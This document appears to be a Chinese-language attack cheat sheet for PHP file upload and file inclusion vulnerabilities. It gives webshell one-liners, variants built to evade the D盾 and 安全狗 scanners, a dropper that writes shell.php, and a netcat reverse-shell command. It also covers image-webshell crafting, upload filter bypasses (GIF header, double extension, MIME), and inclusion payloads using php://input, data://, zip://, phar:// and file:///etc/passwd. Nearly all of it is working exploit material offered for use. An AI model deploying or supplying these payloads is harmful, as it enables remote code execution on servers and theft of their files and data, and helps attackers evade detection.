【漏洞利用】文件上传漏洞&文件包含漏洞利用
一句话木马汇总
GitHub
PHP一句话
- 在服务端生成内容为一句话木马的shell.php文件,结合php://input使用。
<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"];?>');?>`
- 将“nc IP PORT -e /bin/bash”作为cmd参数的值传递给服务端,攻击机开启nc监听模式。
<?php system($_GET["cmd"]) ?>
静态免杀PHP一句话
- 可绕过D盾,D盾对于eval中是否包含$比较敏感。
<?php
function a()
{
return "/*asdas*/".$_POST['a'];
}
eval(a());
?>
- 可以绕过D盾和安全狗。
<?php
ob_start();
echo "/*sdjmz*/".$_GET["id"];
eval(ob_get_contents());
ob_flush();
?>
文件上传绕过
图片马制作
cmd
命令:copy image.jpg/b+shell.php image_shell.jpg,image.jpg为原图片文件,shell.php为一句话木马文件,image_shell.jpg合成后的图片马文件。
这种方式就是将两个文件并成一个文件,shell.php内容会在合并后文件的最末端。
图片头欺骗
GIF头绕过:(jpg/png都可以,但实操起来gif更方便一些,jpg这些需要编辑hex比较麻烦)
-----------------------------21394584637639125584139511981
Content-Disposition: form-data; name="file"; filename="php-reverse-shell.gif"
Content-Type: image/gif
GIF89a;
<?php system($_GET["cmd"]) ?>
......
后缀名绕过
前端js验证
在上传的时候后缀改为允许上传的后缀名,然后抓包,再修改为PHP等后缀名。
双后缀名
上传文件时,将文件名改为如shell.php.jpg。
MIME类型绕过
抓包将mime类型改为允许的
文件包含漏洞(上传成功后的利用)
文件包含漏洞相关的函数
include()
include_once()
require()
require_once()
结合PHP伪协议
常见协议
file:// — 访问本地文件系统
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
phar:// — PHP 归档
利用方式
php://
语法:php://filter/read=convert.base64-encode/resource=网页文件,可以用于读取网页源代码。
利用条件:开启allow_url_fopen
下面例子,可以读取到网站index.php的源码,并且返回的源码内容是经过base64编码的。
/?file=php://filter/read=convert.base64-encode/resource=index.php
利用条件:开启allow_url_include=on
php://input可以配合post发送数据,让网站执行post发送的数据。
下面例子中,将data中的PHP代码通过PHP伪协议将其作为file参数的值传递给服务端。当服务端对file参数执行include函数,即可让服务端执行用户输入的代码。
http://ip/?file=php://input
在data中输入:
<?php phpinfo()?> //显示PHPinfo信息,和结合其他函数,如system("命令")。
或
<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"];?>');?> //将一句话木马写入shell.php,并保存在服务器上。
data://
语法:data://text/plain;payload或base64,base64编码的payload,可以让服务端执行用户输入的代码。
利用条件:allow_url_fopen参数与allow_url_include都需开启。
下面例子中,让服务端执行了PHPinfo()。
index.php?file=data://text/plain,<?php phpinfo()?>
index.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
zip://
语法:zip://[压缩文件路径]#[压缩文件内的子文件名],绝对路径和相对路径即可,先将一句话木马文件压缩为zip,并上传至服务端,再利用zip://解压。
下面的例子中,将写入了一句话木马的shell.php文件,压缩为shell.zip,然后改为shell.jpg绕过图片上传限制。上传成功后,通过zip://让服务端解压并返回shell.php。
小细节:“#”需要手动写成“%23”
index.php?file=zip://shell.jpg%23shell.php
file://
语法:file://[文件的绝对路径和文件名],可以读取服务端的文件内容。
下面例子中,查看了服务端的passwd文件。
/?file=file:///etc/passwd
phar://
语法:phar://[压缩文件路径]/[压缩文件内的子文件名],绝对路径和相对路径即可,先将一句话木马文件压缩为zip,并上传至服务端,再利用phar://解压。
下面的例子中,将写入了一句话木马的shell.php文件,压缩为shell.zip,然后改为shell.jpg绕过图片上传限制。上传成功后,通过phar://让服务端解压并返回shell.php。
index.php?file=phar://1.jpg/1.php